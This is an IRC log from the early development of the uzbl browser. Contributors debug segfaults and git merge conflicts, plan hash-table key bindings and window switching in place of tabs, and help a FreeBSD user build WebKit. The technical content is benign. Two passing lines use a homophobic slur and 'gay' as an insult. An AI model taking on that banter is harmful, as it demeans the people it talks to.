23:45 < barrucadu> You've already had 5 minutes. In 5 minutes will you ask for another 5? :p
23:46 < dusanx> absolutely
23:47 < dusanx> Dieterbe: main has checkuri, right?
23:47 < dusanx> uricheck that is
23:47 <@Dieterbe> main?
23:47 <@Dieterbe> oh, yes
23:47 <@Dieterbe> my experimental has it
23:47 < dusanx> ok
23:47 <@Dieterbe> if that's what you mean
23:48 < dusanx> yes, checking conflicts
23:49 <@Dieterbe> i get conflicts when pulling from you even now already
23:50 <@Dieterbe> i'm going to do this tomorrow
23:50 <@Dieterbe> when i have time
23:50 < dusanx> ok
23:50 < dusanx> I will try to fix my git
23:50 <@Dieterbe> ok see you tomorrow guys
23:50 < dusanx> see you
23:50 -!- rob|6 [n=user9871@rgnb-5d87d408.pool.einsundeins.de] has quit [Read error: 110 (Connection timed out)]
23:51 < barrucadu> bye
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00:02 < dusanx> barrucadu: are you there?
00:03 < barrucadu> yes
00:03 < barrucadu> I'm looking at the segfaulting URIs
00:04 < barrucadu> I've made progress.
00:04 < dusanx> automatic merge failed -> what you do then?
00:04 < barrucadu> Then you use `git status` and see what needs to be fixed by hand
00:04 < dusanx> uzbl.c
00:04 < dusanx> oh looks like I need to do git commit after I do fix, right?
00:05 < dusanx> http://book.git-scm.com/3_basic_branching_and_merging.html
00:05 < barrucadu> yes
00:05 < dusanx> thanks, just found docs...
00:05 < barrucadu> Hmm, I've got uricheck returning the proper URI (in a probably not-very-good implementation, but it works...)
00:05 < barrucadu> But it's still segfaulting somewhere
00:06 < dusanx> why, what segfaults? you are using my code?
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00:06 < barrucadu> I merged Dieter's experimental code
00:06 < dusanx> ok, I am about to do the same
00:06 < barrucadu> Originally, it just segfaulted.
00:07 < dusanx> my code did not, I will check
00:07 < barrucadu> Now I've got it sort-of-but-not-quite working. It segfaults later. :p
00:09 < dusanx> oh, he added load_uri, I'll sort it as soon as I merge this @#$$
00:11 < barrucadu> it's webkit_web_view_load_uri that's segfaulting for some reason
00:11 < dusanx> how do you edit conflicting file, there are <<<, === and >>> marks
00:11 < dusanx> do you leave them or keep just functions?
00:11 < barrucadu> They mark where your file starts/ends and where the new file starts/ends. Have a look and try to make sense of what you should delete and what you should keep
00:12 < dusanx> but you keep marks or delete them too?
00:12 < barrucadu> Delete the marks
00:12 < dusanx> done that
00:12 < dusanx> git commit: error: Error building trees
00:13 < barrucadu> Err...
00:14 < barrucadu> Not a clue then :p
00:14 < dusanx> ok, I will find a way :)
00:17  * barrucadu gives up on fixing this bit of code for now
00:17  * barrucadu commits
00:17 < dusanx> does that segfault from command line, --uri switch?
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00:18 < barrucadu> No
00:18  * barrucadu looks in surprise
00:18 < barrucadu> It...
00:19 < barrucadu> seems to be working now
00:19 < dusanx> how??
00:19 < barrucadu> I have absolutely no idea
00:19 < dusanx> managed to pull :D
00:19 < barrucadu> The only thing different I did was specify a --uri parameter
00:19 < dusanx> segfaults without --uri?
00:19 < barrucadu> Aha! It segfaults when there is no --ur... yes
00:20 < dusanx> good, I'll fix that now
00:20 < barrucadu> You may want to tidy up my code a little, I added all sorts trying to fix this segfaulting :p
00:21 < barrucadu> Well, I'll do some reading / go to bed now. Bye
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00:21 < dusanx> hmm, I am working on Dieterbe's code
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01:15 < ThaRabbit> my my, 17 users already
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01:32 < ThaRabbit> Has anybody found page scrolling to be somewhat buggy?
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03:17 < kcbanner> Is it a known issue that uzbl will segfault if your not using a config file and click on a link?
03:17 < kcbanner> The link in question is the README link on the uzbl.org page.
03:19 < kcbanner> latest from barracuda experimental
03:20 < kcbanner> 0xb6e30708 in g_type_create_instance () from /usr/lib/libgobject-2.0.so.0   traceback
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03:23 < thewtex_> hi
03:23 < thewtex_> uhh
03:23 < thewtex_> I must askk
03:23 < thewtex_> what is the forbidden 3-letter word?
03:23 < thewtex_> hint?
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03:24 < thewtex_> Dieterbe: clued into the project from your post on Planet Larry
03:24 < thewtex_> Dieterbe: is there an ebuild out there yet?
03:24 < thewtex_> if not I will go ahead and make one
03:25 < rson> thewtex_: i doubt it. most of the users so far are arch users.  there is a buildscript for arch, but I am not aware of an ebuild.  i am an outsider though so i may be wrong.
03:25 < thewtex_> rson: ok
03:25 < rson> i'm sure an ebuild would be appreciated
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03:41 < kcbanner> thewtex_, I think it might be tab. Not sure though.
03:41 < thewtex_> kcbanner: ah thanks
03:41 < thewtex_> i love vimperator
03:42 < thewtex_> this looks like it could be a good alternative
03:43 < kcbanner> I find the vim keybindings hard to use, being an emacs user.
03:43 < kcbanner> I wish there was emacs keybindings for firefox.
03:43 < kcbanner> like C-x f for opening, etc.
03:45 < rson> kcbanner: have you tried conkeror?
03:47 < kcbanner> rson, no
03:47 < kcbanner> rson, holy shit conkeror is awesome!
03:48 < rson> i've heard it's keybinds are emacsian
03:48 < kcbanner> rson, yes...they are...awesome.
03:48 < rson> :)
03:48 < rson> kcbanner: if i understand correctly, the keybinds for uzbl will be adjustable to be modelike or modifierlike, so you should be able to be happy with uzbl once it's more feature rich as well
03:49 < kcbanner> yea, for sure
03:49 < kcbanner> I just like not needed the mouse to browse
03:49 < kcbanner> needing*
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04:33 < thewtex_> yay  got it to compile/run
04:33 < thewtex_> bbl
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04:42 < kdavis> what does _gitroot have to be set to for a PKGBUILD from the exp branch? I'm not familiar w/ git
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06:54 < dusanx> 'morning :)
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08:29 < barrucadu> hi
08:29 < dusanx> :)
08:29 < dusanx> download works!
08:29 < vti> hi! great start, where can i post bugs? :)
08:29 < barrucadu> I just merged your branch, but I still get a segfault if no --uri is specified when starting uzbl :(
08:30 < dusanx> then you did not, thats fixed
08:30 < dusanx> 100%
08:30 < dusanx> let me commit again
08:30 < dusanx> I have few changes
08:30 < barrucadu> ok
08:31 < dusanx> done
08:31 < dusanx> and checked, no segfaults
08:32 < dusanx> vti: you can post them here
08:32 < vti> i see you already fixed nourl bug
08:32 < dusanx> :)
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08:33 < dusanx> barrucadu: you should have new_window_cb function after update
08:34 < barrucadu> I've just noticed that Page Down / Page Up don't work in command mode
08:34 < barrucadu> ok
08:35 < dusanx> but I still fail to catch popup menu 'open in new window' option
08:35 < dusanx> only href target = new opens correctly
08:35 < barrucadu> command executing: "uri www.namepros.com"
08:35 < barrucadu> zsh: segmentation fault  ./uzbl
08:37 < barrucadu> I've just tried downloading your uzbl.c from github, rather than merging it with mine, and the same thing occurs
08:37 < dusanx> zsh something? checking here more that once, nothing
08:38 < dusanx> maybe history script fails?
08:38 < dusanx> can you get any additional info?
08:38 < barrucadu> I've just stuck some printfs in and I've found the offending line
08:38 < barrucadu> strcpy (uri, webkit_web_frame_get_uri (frame));
08:38 < barrucadu> in load_commit_cb
08:38 < dusanx> thats not mine function lol!
08:39 < barrucadu> Well, it's Dieters :p
08:39 < dusanx> my kung fu is the best :P
08:39 < barrucadu> Apply your kung fu to this function then? :p
08:39 < dusanx> just checking
08:39 < dusanx> aaaa
08:39 < dusanx> I will
08:40 < dusanx> I fixed bunch of string problems but this one missed
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08:46 < dusanx> barrucadu: instead of static gchar*   uri         = NULL; 
08:47 < dusanx> no, wait
08:52 < dusanx> 2 min, fixed
08:55 < barrucadu> Something I've been wondering, if Dieterbe is D, and I am B, who are you? 'd'? :p
08:56 < dusanx> when I write you are D and B, when he does we are D and B, when you write... well you are in trouble lol
08:57 < dusanx> learned that irssi has tab so barrucadu and dusanx  and Dieterbe  are not problems any more ;)
08:58 < dusanx> you have new git version :)
08:59 < dusanx> I will fix pgup/pgdn/home/end in command mode today
08:59 < barrucadu> :)
09:00 < dusanx> and try clicking on some link that wants to open in new window :)
09:03 < barrucadu> Hmm, now I need to find a site that opens things in new windows... :p
09:03 < dusanx> google open in new window and there are examples ;)
09:05 < barrucadu> :D
09:05 < dusanx> download (even from popup) invokes defined script
09:05 < barrucadu> :)
09:06 < dusanx> only thing that does not work is open in new window from popup, webkit does not send signal
09:06 < dusanx> but I will find how
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09:37 <@Dieterbe> morning dudes
09:37 < dusanx> hi
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09:49 <@Dieterbe> man i am tired
09:49 <@Dieterbe> tonight i will go to bed early :P
09:51 < dusanx> working now?
09:51 <@Dieterbe> well, i should be :)
09:51 < dusanx> lol
09:51 < dusanx> same here
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10:06 < ashren> what should name the uzbl config I place in .config?
10:06 < dusanx> .config/uzbl/config
10:06 < ashren> thanks
10:06 < dusanx> last config is file name
10:06 < dusanx> np
10:08 < dpb> is the current version supposed to segfault? <.<
10:08 < dusanx> if you call it without parameter yes
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10:09 < dpb> nope, that segfaults too
10:09 < dusanx> if you compiled from git use my latest github master, fhat's fixed
10:09 < dpb> what's the address?
10:10 < dusanx> just a sec
10:10 < dusanx> http://github.com/dusanx/uzbl/
10:11 < dusanx> will be merged to main later today
10:11 < sm217> guys, is there anything simple that needs to be implemented? I want to help but I don't yet know gtk :<
10:12 < dpb> dusanx: your master branch still segfaults for me..
10:13 < dusanx> how do you call uzbl? can you paste console text somewhere, should help to pinpoint why
10:18 <@Dieterbe> sm217: if you're not new to C, changing our struct "maps" of bindings and commands to use glib hashmaps would be a quite easy task
10:18 < dpb> I just run "make test"
10:19 < sm217> Dieterbe: thanks, I'll try
10:20 < dpb> Program received signal SIGSEGV, Segmentation fault.
10:20 < dpb> [Switching to Thread 0xb5281970 (LWP 7799)]
10:20 < dpb> 0xb6bd5857 in strtok () from /lib/libc.so.6
10:20 < dusanx> dpb: what distro are you using?
10:21 < dpb> Debian
10:21 < dusanx> hmm, I can't reproduce that here
10:21 < dusanx> but I will check code and see if I can fix something
10:21 < dusanx> debian stable?
10:22 < dpb> unstable :)
10:22 < dpb> I don't think uzbl even compiles with stable
10:22 < dusanx> dpb: can you check webkit version you have?
10:22 < dpb> 1.1.5
10:22 < dusanx> hmm and hmm
10:22 <@Dieterbe> the dev package is also 1.1.5 ?
10:22 < dpb> of course
10:22 < dusanx> I will check strtok calls in next few minutes
10:23 < dpb> it didn't segfault yesterday when I tried
10:23 < dusanx> ok, that might give me idea
10:23 < dusanx> give me few minutes
10:27 < dusanx> dpb: found it, 10 mintes to fix, I will let you know when I push new git
10:27 < dpb> great :)
10:28 < dpb> I'll probably be gone for lunch by then though. ;)
10:28 < dusanx> np
10:33 < dusanx> I will try to write few lines about how to use char *
10:34 < dusanx> dpb: can you try new git, just pushed it
10:35 < dpb> yep, works now :)
10:35 < dusanx> great
10:35 < dusanx> thanks for your help
10:35 < sm217> just to make sure I get it: bindings table is once filled, then checked on keypress and action is done on match?
10:36 < dusanx> yes
10:36 <@Dieterbe> sm217: yes. there are 3 things: internal bindings, external ones, and commands (which are received through the fifo)
10:36 <@Dieterbe> they all use an ugly struct list, which we have to iterate to find the matching one
10:37 < sm217> yes, I see
10:37 <@Dieterbe> all 3 should use glib hashmap imo
10:37 < dusanx> keys handling function and fifo function actually call same processing function
10:37 < sm217> thanks, I'll read about it and try
10:38 < sm217> dusanx: parse_command?
10:38 < dusanx> yes
10:38 < sm217> :>
10:38 < dusanx> in config file: function_name = key
10:39 < dusanx> when key is matched app calls parse_command with exact function name defined in config :eek
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11:38 < jerryluc> stupid question: how do i load an url?
11:38 < dusanx> ./uzbl --uri www.google.com
11:39 < dusanx> or without ./ if you used aur
11:39 <@Dieterbe> or press a keybind to load from history, or from bookmark file
11:39 <@Dieterbe> or write to the fifo
11:39 < jerryluc> thanks mate
11:43 < sm217> methinks we can use dmenu as a tab bar
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11:44 < dusanx> I suggested the same thing the other day
11:44 < dusanx> but you don't need to modify anything, just add external command, bind it to a sh script and you are ready...
11:45 < sm217> hmm
11:45 < dusanx> in config file
11:45 < sm217> what if we have all urls in separate windows?
11:46 < sm217> this will need some way to change window focus
11:46 < dusanx> script that scans all window classes or something, shows titles in dmeny and focuses selected window
11:46 < sm217> yes.
11:46 < dusanx> I need one if you can write it ;)
11:46 < sm217> I may try :P
11:47 < sm217> just thinking, we have that famous process-per-page feature out of the box :P
11:50 <@Dieterbe> this makes up for only one aspect of tabs
11:50 < dusanx> one aspect?
11:51 <@Dieterbe> another "feature" of tabs is you can keep pages(windows) together. eg you can have a work instance with 10 pages work related stuff, and a personal instance with 10 personal tabs
11:51 <@Dieterbe> if you want to move the work one to a differet workspace/tag/... the relevant windows should stay together
11:51 <@Dieterbe> but you can also script this of course
11:51 < dusanx> you would not do adding tabs to uzbl
11:51 < dusanx> I hope
11:51 <@Dieterbe> no i'm generally speaking
11:52 < dusanx> true, we need a way to move all windows
11:52 <@Dieterbe> what i think: if you have "personal" , "work" etc you probably also have different configs for work, personal etc
11:52 < dusanx> thats easy in dwm I think :)
11:52 <@Dieterbe> so you can recognize window instances that belong together because they use the same config
11:53 <@Dieterbe> then you script it to move them all at once
11:55 < sm217> hmm, what if all pages/processes can be displayed in single window and switched between with commands?
11:55 < dusanx> I have no idea if that can be done
11:56 < sm217> and that would actually be tabs :p
11:56 < tiot> do you know vimperator for firefox ?
11:57 < sm217> yes, I've tried it
11:58 < tiot> you will try to do something like it or really different ?
11:58 < dpb> there's a "who" missing in the README file, "people want a browser that does anything"
11:59 < tiot> yes I read it
11:59 <@Dieterbe>  sm217> hmm, what if all pages/processes can be displayed in single window -> doesn't that affect keyboard shorcuts and stuff? and you can't rely on the window id anymore to get the fifo path, because the window id is the one of the "master app" (though you could configure that one to forward the commands to the currently displayed child)
12:05 < sm217> yeah, that's a bad way
12:06 < sm217> and we can't do fun with window manager then
12:06 < dusanx> tabs are gay anyway :P
12:07 < sm217> that depends :p
12:08 < sm217> for example, tabbed file manager are awesome
12:08 < dusanx> sorry, my bad: tabbed browsing sucks :P
12:08 < dusanx> wm's are ok
12:09 < dpb> tabbed file manager?
12:09 <@Dieterbe> hey wait a minute
12:09 < dusanx> not that I use tabbed wm
12:09 < dusanx> no, no tabbed file manager for me
12:09 <@Dieterbe> we could actually ship a script that uses dmenu to select a window, such a script would use the netwm spec or whatever and it would work on 99% of the window managers
12:10 < sm217> dpb: pcmanfm as example
12:10 <@Dieterbe> except the one i use, wmii doesn't implement netwm of course ><
12:10 < dpb> The shell is the file manager, where the hell does one need tabs for that? <.<
12:10 <@Dieterbe> dpb: well said
12:10 <@Dieterbe> :)
12:11 < sm217> shell is bad when you're unsure on what you need
12:11 < dusanx> mc?
12:11 < sm217> like, looking through many files
12:11 < dpb> why is it bad?
12:11 < sm217> no way :p
12:11 < dpb> ls works quite well
12:11 < dpb> and find
12:11 < dusanx> I mean midnight commander where there is chance to f up :)
12:12 < sm217> and when none of files has obvious name?
12:12 < dusanx> ok, who is the kind soul to write dmenu tabs for me?
12:12 < dpb> Then you're screwed anyway?
12:12 < dpb> grep works
12:13 < dusanx> what is X command to list all windows? I know there is at least one?
12:14 <@Dieterbe> ha, sounds like someone wants to start hacking
12:14 < dusanx> yup
12:16 <@Dieterbe> hey, we could even add an extra arg
12:16 <@Dieterbe> uzbl -t personal, would put "personal" in the title
12:16 <@Dieterbe> so you can recognize it
12:16 <@Dieterbe> from scripts
12:16 < dusanx> hmm
12:17 < dusanx> tag? --tag?
12:17 <@Dieterbe> yeah
12:18 <@Dieterbe> http://en.wikipedia.org/wiki/X_Window_System_protocols_and_architecture#Attributes_and_properties look this is cool
12:18 <@Dieterbe> seems like you can set arbitrary properties
12:18 <@Dieterbe> such as a tag :)
12:19 < sm217> whee
12:19 < dusanx> nice
12:21 <@Dieterbe> though we may not even need that, i would put the tag in the titlebar also, so it's visible
12:21 <@Dieterbe> and you can also pull that from scripts
12:49 < sm217> hmm
12:49 < sm217> how do I check if bindings are working?
12:50 < sm217> oh :P
12:52 < sm217> well, it understands keybinds
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12:52 < gcarrier> hi!
12:52 < sm217> hi gcarrier 
12:52 < gcarrier> i might be pretty interested in uzbl
12:53 < gcarrier> who should i fork?
12:53 < gcarrier> is this project started by another arch user? :)
12:53 < ludovico> i'm pretty interested too, but i'm just stalking :)
12:53  * sm217 pokes Dieterbe 
12:53 < ludovico> yup
12:54 < gcarrier> ok, then i can't work on it :)
12:54 < ludovico> oh?
12:54 < gcarrier> http://bugs.archlinux.org/?do=index&dev=3220&type%5B0%5D=&sev%5B0%5D=&due%5B0%5D=&cat%5B0%5D=&status%5B0%5D=open&percent%5B0%5D=&reported%5B0%5D=
12:54 < gcarrier> i have work to do :P
12:54 < gcarrier> wow, a lot of them were closed
12:54 < ludovico> ah ;)
12:54 < gcarrier> nice
12:55 < ludovico> well then, get to work on the uzbl!
12:55 < gcarrier> still, 12 bug reports...
12:55 < ludovico> :P
12:55 < gcarrier> and dozens of packages to update
12:55 < ludovico> have you tried it out?
12:57 < dusanx> I am back
12:57 < dusanx> what did I miss?
12:58 < sm217> dusanx: working keybinds mean working bindings, right?
12:58 < dusanx> fork from main git/experimental, yes by arch user
12:58 < gcarrier> ludovico: well i don't care. webkit + flat files, i'm ok.
12:58 <@Dieterbe> gcarrier> is this project started by another arch user? :) <--- are you calling me "just another arch user" ? :(
12:58 < gcarrier> Dieterbe: do i know you?
12:58 <@Dieterbe> looks like not :)
12:58 < gcarrier> Dieterbe: should i?
12:59 <@Dieterbe> i'm a release engineer, i work on iso's and the installer etc ;)
12:59 < dusanx> sm217: yes
12:59 <@Dieterbe> for arch
12:59 < gcarrier> shit, you're working on AIF
12:59 < gcarrier> lol
12:59 < gcarrier> oops
12:59 < gcarrier> that's the forbidden word i guess
12:59 <@Dieterbe> :) no that's not it
12:59 <@Dieterbe> gcarrier: well, hi, nice to meet you :)
12:59 < sm217> good, I will then fork and add my (very) tiny changes? :P
13:00 < gcarrier> Dieterbe: i don't remember... did you start aif?
13:00 <@Dieterbe> yes
13:00 < gcarrier> Dieterbe: ok you're awesome.
13:00 < dusanx> aif?
13:00 <@Dieterbe> don't exagerate :P
13:00 < dpb> btw, what's the three letter forbidden word?
13:00 < gcarrier> Dieterbe: i'm the guy who does shit with the shitty linux bluetooth support :P
13:01 <@Dieterbe> yes i know
13:01 < gcarrier> osx?
13:01 <@Dieterbe> gcarrier: something similar to tag
13:01 <@Dieterbe> but don't say it !
13:01 < dusanx> shhh, we already have attitude problems with the boss, don't build his ego
13:01 < dpb> fag ?
13:01 < gcarrier> Dieterbe: i'm thinking
13:01 < dpb> <.<
13:01 <@Dieterbe> lol dpb 
13:01 < sm217> Dieterbe: what's the right place to initialize variables that need function calls?
13:01 < sm217> sux? :P
13:02 <@Dieterbe> gcarrier: well maybe you should read the entire uzbl topic, then you'll see :P
13:02 < gcarrier> Dieterbe: topic?
13:02 <@Dieterbe> yes, in the forums
13:02 < gcarrier> Dieterbe: i hate the forums
13:02 <@Dieterbe> sm217: "variable that needs function call" is a bit loose description
13:02 < dpb> Ah, that word.
13:03 < gcarrier> tabs !!
13:03 <@Dieterbe> aaaaarg
13:03 < sm217> Dieterbe: um, I need to create hash tables
13:03 < dusanx> we need no stinkin' tabs
13:03 < gcarrier> well, i do want tabs
13:03 < dpb> tabs is 4-letters though.
13:03 < gcarrier> tab
13:03 <@Dieterbe> sm217: well, the hash table will replace the structs right. so put them in the same place
13:03 < gcarrier> - each instance of uzbl renders 1 page (eg it's a small wrapper around webkit), no tabbing, tab previews, or speed dial 
13:03 < sm217> Dieterbe: I can't
13:03 < gcarrier> things. we have window managers for that. -> well actually, there is lots of dicussion about this, i'll probably implement a basic form of tabbing.
13:03 < dpb> There's no point in having just one tab. <.<
13:04 < sm217> that place is not in any function
13:04 <@Dieterbe> sm217: correct
13:04 < dusanx> wait: about hash tables: do you hash keys or not?
13:04 < sm217> internal_bindings = g_hash_table_new(g_str_hash, g_str_equal); <- so gcc says rawr
13:04 <@Dieterbe> they get hashed automatically
13:04 < gcarrier> how much gtk do you use?
13:04 <@Dieterbe> quite some
13:04 < dusanx> but we keep original key strings, not just hashes, right?
13:05 <@Dieterbe> dusanx: the hashing is transparent for us, i think. we just insert and retrieve with our key values we choose
13:05 < gcarrier> i'd love such browser Qt-based...
13:06 < dusanx> Dieterbe: ok but I need 'i' 'f' and all other key strings preserved
13:06 < dusanx> Dieterbe: there is additional processing I have in mind
13:06 < sm217> Dieterbe: so I put them in main, or does that matter at all?
13:06 <@Dieterbe> i don't see the problem
13:06 < dusanx> cool
13:07 < dusanx> I want to add scancodes and what not for people with exotic keyboards
13:07 <@Dieterbe> sm217: i would just put them where the stuff was that you're replacing. i don't see the problem
13:08 <@Dieterbe> damn.. these merge cycles of 24hours are way to long. i should have brought my code to work :P
13:08 < gcarrier> pleaaase, unix is not about x11 :P
13:09 <@Dieterbe> gcarrier: well, i want a browser with a decent graphical display of webpages.  sorry
13:09 < gcarrier> Dieterbe: there's osx...
13:09 < gcarrier> Dieterbe: that's what i meant :)
13:10 < gcarrier> that would be neat to avoid too much X11-specific code
13:11 <@Dieterbe> hmm
13:11 < dpb> gcarrier: I've been working on a slightly similar browser with Qt since Qt 4.5 came out, but it's going on much slower than uzbl..
13:11 <@Dieterbe> dpb: what is slower? the development process or the actual browser?
13:12 < sm217> Dieterbe: sorry, but: uzbl.c:78: error: initializer element is not constant
13:12 < gcarrier> dpb: too bad
13:12 < gcarrier> dpb: public repo?
13:12 < dpb> Dieterbe: the development process
13:12 < dpb> I haven't made it public yet.
13:13 <@Dieterbe> ah i see. and is there anything wrong with qt? is qt better then gtk?
13:13 < dpb> I like Qt much more than gtk :) Much prettier code imo.
13:14 <@Dieterbe> ok but i don't mean personal precence / api etc
13:14 <@Dieterbe> i mean real technical advantages
13:14 <@Dieterbe> s/precence/preference/
13:15 <@Dieterbe> gcarrier: so do you have a suggestion how we could make uzbl less x11 dependent?
13:17 <@Dieterbe> not saying i want that.. I like x11 and consider it one of the programs as in "programs that work together" from the unix philosphy :)
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13:20 < sm217> lol
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13:21 < sm217> Dieterbe: please take a look: http://github.com/sm217/uzbl/tree/master
13:21 < gcarrier> Dieterbe: mostly portability.
13:22 < gcarrier> Dieterbe: personnaly i'd like to use some QtScript to customize my browser's behaviour through ECMAScript but that's 2ndary
13:22 <@Dieterbe> yuck :)
13:23 < gcarrier> Dieterbe: gtk without X11 is a mess under OSX, and Gtk with X11 fails most usability criterias
13:24  * sm217 disagrees
13:24 < dpb> gcarrier: mine does use QtScript to customize it quite a lot.. <.<
13:24 < dpb> I need to find more time to work on it..
13:25 <@Dieterbe> sm217: that looks pretty good, but it's not done for the commands ? only for the bindings?
13:25 < gcarrier> dpb: do you use git?
13:25 < sm217> Oh. Will add now 
13:25 < dpb> yeah
13:25 < dusanx> any kind soul that knows how to list all windows in bash?
13:26 < dpb> Btw, I'm a Vimperator developer too. Originally I just wanted a Vimperator clone with Qt/Webkit, but then decided to do something different..
13:27 < gcarrier> dpb: i need access to your repo :)
13:27 <@Dieterbe> sm217: i'm at work now so i can't really play with your code now, but now+6hours i'll test your stuff and (probably) merge it in
13:28 <@Dieterbe> dpb: wow, seems like you've been doing quite some of this stuff then
13:29 < dpb> gcarrier: the thing is, I'm not just doing a qt browser, I'm doing a framework I can use for other programs too..
13:29 < sm217> Dieterbe: Okay, I'll finish it by then
13:29 < gcarrier> dpb: so it won't be FLOSS?
13:30 < dusanx> WMCTRL!
13:30 < dusanx> and we will have tabs in two hours and counting
13:30 <@Dieterbe> sm217: okay, and test a bit the fifo stuff and the keybinding stuff if it still works :)
13:31 < dpb> gcarrier: it will be FLOSS, but I don't like releasing stuff I'm not yet happy with to the public. <.<
13:31 < gcarrier> dpb: you can provide access to only me. i'm not public, i'm a reviewing peer :)
13:31 < dpb> :P
13:31 <@Dieterbe> dpb: i follow the "release early, release often" methology
13:32 <@Dieterbe> it works well in the open source / hacker scene imho
13:32 < sm217> Dieterbe: ok, thanks for the hint
13:33 <@Dieterbe> btw i don't find this fun. you guys can hack and play and i have to work :(
13:33 < dusanx> wmctrl does not work with dwm so we will not have tabs yet
13:33 < dpb> Dieterbe: Yeah, I need to work too. That's why I don't have much time for my own projects. :(
13:34 <@Dieterbe> lol @ opera.com
13:34 < sm217> and I have school :<
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13:35 < YDB> Hello
13:36 <@Dieterbe> well dusanx , if we use wmctrl we support 99% of the wm's.  wmii also does not support the ewmh spec, but it should be quite easy to get a list the wmii specific way. not sure how one would do it with dwm though
13:36 <@Dieterbe> hi fogobogo_ 
13:36 <@Dieterbe> er i mean hi YDB 
13:36 < YDB> I want to test uzbl but when I try to make it, I've got some errors
13:37 < YDB> http://pastebin.com/m6ce56309
13:37 < YDB> I'm under FreeBSD
13:37 < dusanx> Dieterbe will help, he is at the work you know :P
13:38 < dpb> You might very well be the first person to compile under FreeBSD ;)
13:38 < YDB> Really?
13:38 <@Dieterbe> YDB: you need libwekit 1.1.14 or higher
13:38 < dusanx> YDB: what webkit version you have?
13:38 <@Dieterbe> sorry 1.1.4 i  mean
13:39 < YDB> Shit
13:39 < YDB> Mine is old
13:39 < dusanx> 1.1.4 is minimum
13:42 < YDB> I must manually compile Webkit :/
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13:42 < fogobogo> Dieterbe: hi
13:43 < fogobogo> im on it. but yesterday i havent really got much time to draw anything
13:43 < dpb> YDB: That's what you get for trying to use a special OS to use quite a bleeding edge software.
13:43 < fogobogo> i hope to have to show something this evening
13:44 < YDB> dpb, I don't want to install Linux
13:45 <@Dieterbe> fogobogo: who said anything about drawing? :P
13:45 < fogobogo> Dieterbe: u did. u wanted a cat for a logo no?
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13:45 <@Dieterbe> yes, a picture of a cat :)
13:45 < fogobogo> so im drawing a picture of a cat
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13:46 < sm217> cool :)
13:46 <@Dieterbe> a picture of a cat sitting next to/in front of a pc that is showing uzbl or something fancy that looks like uzbl (or a tiled layout will also do)
13:46 < fogobogo> let start with a cat for now...
13:47 <@Dieterbe> okay..
13:47 < fogobogo> dont worry. cats the main beef
13:47 < dpb> YDB: well most linux distros are too old for uzbl too.
13:47 < YDB> :P
13:48 < sm217> hmm
13:48 < fogobogo> YDB: just install linux :D
13:48 < sm217> maybe try to write 'uzbl' dwm-style?
13:48 < dpb> fogobogo: s/linux/bleeding edge linux/
13:49 < fogobogo> s/bleeding edge linux/archlinux/
13:49 < YDB> fogobogo, what did I say?
13:49 < fogobogo> YDB: you do not want
13:49 < dpb> debian unstable works quite well.
13:49 < YDB> So, don't tell me to install Linux
13:50 < fogobogo> YDB: but maybe you wanna try archlinux. its kinda like a bsd emullator
13:50 < sm217> lol
13:50 < dpb> lol
13:50 < YDB> I already tried ArchLinux
13:50 < YDB> And I prefer FreeBSD
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13:50 < fogobogo> :O
13:50 < fogobogo> how come?
13:50 < dpb> bsd emulator.. lol.. they're completely different, maybe the start scripts have something similar..
13:52 < fogobogo> dpb: hey! i didnt say its a good bsd emulator! ;)
13:53 < dpb> true :P
13:53 < dpb> I should try ArchLinux again.
13:54 < dpb> I made a usb install stick for it a couple weeks ago, but haven't had time to install it yet..
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13:56 < YDB> Arg
13:56 < YDB> ./autogen.sh fails
13:56 < YDB> (For Webkit)
13:57 < dpb> something else outdated? :)
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13:57 < YDB> configure: error: JPEG library (libjpeg) not found
13:57 < YDB> But I've got it!! :'(
13:59 < dpb> maybe it's in some non-default path?
13:59 < YDB> Maybe
14:00 < YDB> But how can I know where does it search?
14:00 < fogobogo> vi autogen.sh ?
14:01 < dpb> that error is from configure, which autogen.sh apparently runs
14:03 <@Dieterbe> http://pics.nase-bohren.de/a_whale.jpg
14:04 < YDB> I don't know how to read configure files
14:08 < dpb> just pass the right dir to it via environment variables
14:17 < sm217> Dieterbe: lookup fails, reupload it please :p
14:19 < dpb> Works for me.
14:20 < sm217> But not for me :V
14:22 <@Dieterbe> sm217: it's not mine, i just "happened to stumble on it while being busy working"
14:23 < dpb> sounds like me at work.
14:23 < sm217> Oh lol, it now does look up
14:24 < sm217> Funny :P
15:40 <@Dieterbe> dusanx: are the dmenu devs active on the dwm mailing list?
15:42 < fogobogo> afaik yes
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15:43 < dpb> yes they are
15:43 < dpb> (or he is)
15:45 <@Dieterbe> guess i need more patience then. i sent a really simple patch on sunday or something, but no reply yet
15:46 < dpb> arg did answer it, though he said to ignore the mail in another one..
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15:48 <@Dieterbe> yeah, so that doesn't count :)
15:49 < dpb> Well, you didn't really ask anything in the mail..
15:50 <@Dieterbe> oh
15:50 -!- ccyouze [n=ccyouze@dslb-084-058-236-086.pools.arcor-ip.net] has joined #uzbl
15:50 <@Dieterbe> that's true :)
15:51 < dpb> :)
15:52 -!- Irssi: #uzbl: Total of 24 nicks [1 ops, 0 halfops, 0 voices, 23 normal]
15:54 < sm217> wow, uzbl has such a nice punch card :)
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15:56 < barrucadu> hi
15:56 < barrucadu> I may vanish at any time; I'm in school
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16:02 <@Dieterbe> sm217: how do you mean?
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16:07 < dpb> Just googling "Dieterbe" gives the uzbl github repo as the first result <.<
16:08 <@Dieterbe> oh, and they call that the punch card?
16:08 < fogobogo> he now lives in the shadow of his project
16:08 <@Dieterbe> :)
16:09 < dpb> I have no idea about the punch card.
16:10 <@Dieterbe> i have the feeling it's some kind of expression but i don't get it
16:11 <@Dieterbe> google search led me to an ancient data storage technique and i don't think that's it :P
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16:13 < dpb> Well that's what a punch card is..
16:14 < dpb> maybe he meant a "punch line"?
16:14 <@Dieterbe> ah yeah that could be
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16:18 < dpb> rob is such a cloner.
16:18 < dpb> already number 5!
16:19 -!- Irssi: #uzbl: Total of 24 nicks [1 ops, 0 halfops, 0 voices, 23 normal]
16:19 <@Dieterbe> good thing there are only 3 of them here ;)
16:19 < dpb> That's a good thing? :)
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16:21 <@Dieterbe> oh noes
16:21 <@Dieterbe> close the gates!
16:21 < sm217> Dieterbe: that's in graphs section, http://github.com/Dieterbe/uzbl/graphs/punch_card
16:22 <@Dieterbe> ha, it's clear that around mignight is our best time :)
16:23 < dpb> why do the weekdays go backwards?
16:23 < sm217> no idea
16:25 < dpb> and why do people always use github instead of gitorious?
16:26 < sm217> github was first one I came across
16:26 < dpb> the same thing about sourceforge too, right, "helping open source".. such a joke.
16:26 < dpb> github isn't free software, gitorious is. same with sourcforge, it isn't free.
16:27 <@Dieterbe> oh
